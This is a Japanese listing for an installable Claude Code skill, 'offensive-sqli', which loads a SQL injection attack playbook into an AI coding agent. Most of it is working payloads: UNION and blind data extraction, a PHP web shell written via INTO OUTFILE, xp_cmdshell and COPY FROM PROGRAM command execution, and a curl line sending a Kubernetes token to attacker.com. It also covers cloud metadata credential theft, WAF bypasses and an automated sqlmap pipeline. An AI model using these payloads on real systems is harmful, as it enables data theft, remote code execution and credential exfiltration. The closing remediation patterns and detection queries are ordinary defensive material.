mcpField
O
offensive-sqli

offensive-sqli

github.com/snailsploitセキュリティ9.7k207 回インストール2 週間前に更新
リポジトリ

offensive-sqli について

offensive-sqliは、許可されたセキュリティテスト向けのSQLインジェクション手法をまとめたスキルです。入力箇所の検出からDB別の調査、自動化、修正案まで扱います。

主な機能

  1. 01複数入力箇所とブラインドSQLiの検出
  2. 02DB別のスキーマ列挙
  3. 03sqlmapを使った自動化フロー
  4. 04NoSQLとグラフクエリの注入チェック
  5. 05WAF回避とクラウド攻撃経路
  6. 06検出クエリと修正案

活用シーン

  1. 01REST、GraphQL、WebSocket入力のSQLi評価
  2. 02許可されたテストでのDBスキーマ列挙
  3. 03WAFの露出と防御監視の確認
  4. 04テスト結果と修正内容の整理

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-sqli

インストール後、Claude Code で/offensive-sqliを入力して読み込まれたか確認します。

詳細

SQL インジェクション — 攻撃的テスト手法

クイックワークフロー

  1. データベースに到達するすべての入力経路を把握します(URL パラメーター、POST ボディ、Cookie、ヘッダー、API フィルター、WebSocket メッセージ)
  2. プローブ用ペイロードを挿入して、従来型の SQLi を検出します。目に見えるエラーがない場合は、推論型(ブールベース/時間ベース)に切り替えます
  3. データベースの種類を特定し、スキーマを列挙します
  4. 対象範囲内であれば、データ抽出、権限昇格、または RCE の達成を試みます
  5. 調査結果を記録し、修正方法を提案します

検出

基本的なプローブ — すべての入力経路
' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
エラーベースの検出

構文エラーを発生させ、データベースの種類とクエリ構造を明らかにします。

'  ''  `  "  ""  ,  %  \

確認するもの:SQL 構文エラー、DB バージョン文字列、レスポンスに漏えいしたテーブル名/列名。

ブールベースのブラインド SQLi
' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --

条件が真の場合と偽の場合で、レスポンスのサイズや内容に違いがあるか観察します。

時間ベースのブラインド SQLi
-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --
JSON 演算子プローブ
-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'
GraphQL から SQLi へのピボット
{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
WebSocket SQLi
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');
REST API フィルターへのインジェクション
POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}

自動化ワークフロー

# Full pipeline
sublist3r -d target | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | tee urls
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch

# Targeted with Burp capture
# 1. Capture request → Send to Active Scanner
# 2. Review SQL findings → manually verify
# 3. Export request file → sqlmap -r req.txt --dbs

# Blind SQLi (Ghauri — faster for time-based)
ghauri -u "https://target.com/page?id=1" --dbs

# Hidden parameter discovery
hakrawler -url https://target.com | tee crawl
arjun -i crawl -oJ params.json

エクスプロイト

列数の特定(UNION)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
文字列型の列の特定
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
スキーマの列挙
-- DB version
' UNION SELECT @@version --          -- MySQL/MSSQL
' UNION SELECT version() --          -- PostgreSQL
' UNION SELECT banner FROM v$version -- -- Oracle

-- Tables
' UNION SELECT table_name,1 FROM information_schema.tables --    -- MySQL/MSSQL/PG
' UNION SELECT table_name,1 FROM all_tables --                   -- Oracle

-- Columns
' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
ブラインドでのデータ抽出
-- Boolean character-by-character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -

-- Time-based conditional
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -

データベース別のエクスプロイト

MySQL / MariaDB
-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --

-- Write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --

-- Schema leak
' UNION SELECT table_schema,table_name FROM information_schema.tables
  WHERE table_schema NOT IN ('mysql','information_schema') --
MSSQL
-- OS command execution
'; EXEC xp_cmdshell 'net user' --

-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --

-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
PostgreSQL
-- File read
' UNION SELECT pg_read_file('/etc/passwd',0,1000) --

-- OS command execution
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'id';
  SELECT * FROM cmd_exec; --

-- K8s service account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
Oracle
-- Privilege enumeration
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --

-- PL/SQL execution
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --

NoSQL とグラフインジェクション

MongoDB
username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}
Neo4j / Cypher(CVE-2024-34517)
-- Normal
MATCH (u:User) WHERE u.name = 'admin' RETURN u
-- Bypass
MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u

以前の Neo4j 5.x(<5.18 / <4.4.26)では、IMMUTABLE プロシージャを利用した権限昇格が可能でした。


WAF のバイパス手法

手法例
大文字と小文字の混在SeLeCt、UnIoN
コメントの挿入UN/**/ION SE/**/LECT
URL エンコードUNION → %55%4E%49%4F%4E
16 進数エンコードSELECT → 0x53454C454354
空白文字UNION/**/SELECT
ヌルバイト%00' UNION SELECT password FROM users--
二重エンコード%2f → %252f
文字列連結MySQL:CONCAT('a','b')、Oracle:'a'||'b'、MSSQL:'a'+'b'
JSON ラッパーダミー JSON /**/{"a":1} を先頭に付け、WAF パーサーを混乱させます

SQLmap のタンパースクリプト: Atlas ツールでタンパーを提案させます。複数を組み合わせて(--tamper=space2comment,charencode)、多層 WAF に対応します。

HTTP/2 スマグリング: ペイロードを h2/h2c 経由で再送します。HPACK 圧縮により、境界 WAF からペイロードを隠せる場合があります。


クラウド固有の攻撃経路

AWS
-- IMDSv1 credential theft (legacy environments)
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --

-- RDS Proxy disruption
'; CALL mysql.rds_kill(CONNECTION_ID()); --
Azure
-- Azure SQL Managed Instance RCE
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --

-- Instance metadata
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
GCP Cloud SQL
' UNION SELECT @@global.version_comment, @@hostname --
Lambda / サーバーレスのコネクションプール汚染
// SET ROLE persists across Lambda invocations when DB connections are reused
exports.handler = async (event) => {
  await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool
  return await db.query("SELECT * FROM sensitive_data");
};

ORM の CVE 追跡(2023–2025)

ORMCVE / 問題脆弱なパターン
SequelizeCVE-2023-22578sequelize.literal(\name = '${userInput}'`)`
TypeORM <0.3.12findOne インジェクションrepository.findOne({ where: \id = ${id}` })`
Hibernate 6.xクエリーキャッシュ汚染session.createQuery("FROM User WHERE name = '" + input + "'")
Prisma <4.11生クエリーprisma.$executeRawUnsafe(\SELECT * FROM users WHERE id = ${id}`)`

安全な ORM パターン:

// Sequelize — use replacements
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Prisma — tagged template literal
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])

クイックリファレンス早見表

DBバージョン時間遅延文字列連結スキーマ情報源
MySQL@@versionSLEEP(5)CONCAT('a','b')information_schema.tables
MSSQL@@versionWAITFOR DELAY '0:0:5''a'+'b'information_schema.tables、sys.tables
PostgreSQLversion()pg_sleep(5)'a'||'b'information_schema.tables
Oraclebanner FROM v$versionDBMS_PIPE.RECEIVE_MESSAGE('RDS',5)'a'||'b'all_tables、all_tab_columns

検出と監視のクエリー

Splunk:

index=web sourcetype=access_combined
| regex _raw="(%27)|(\\')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(\\')|(\\-\\-)|(\\%3D))"
| eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status

AWS CloudWatch Insights(RDS):

fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/\\*)/
| stats count() by bin(5m)

主な参考資料

コメント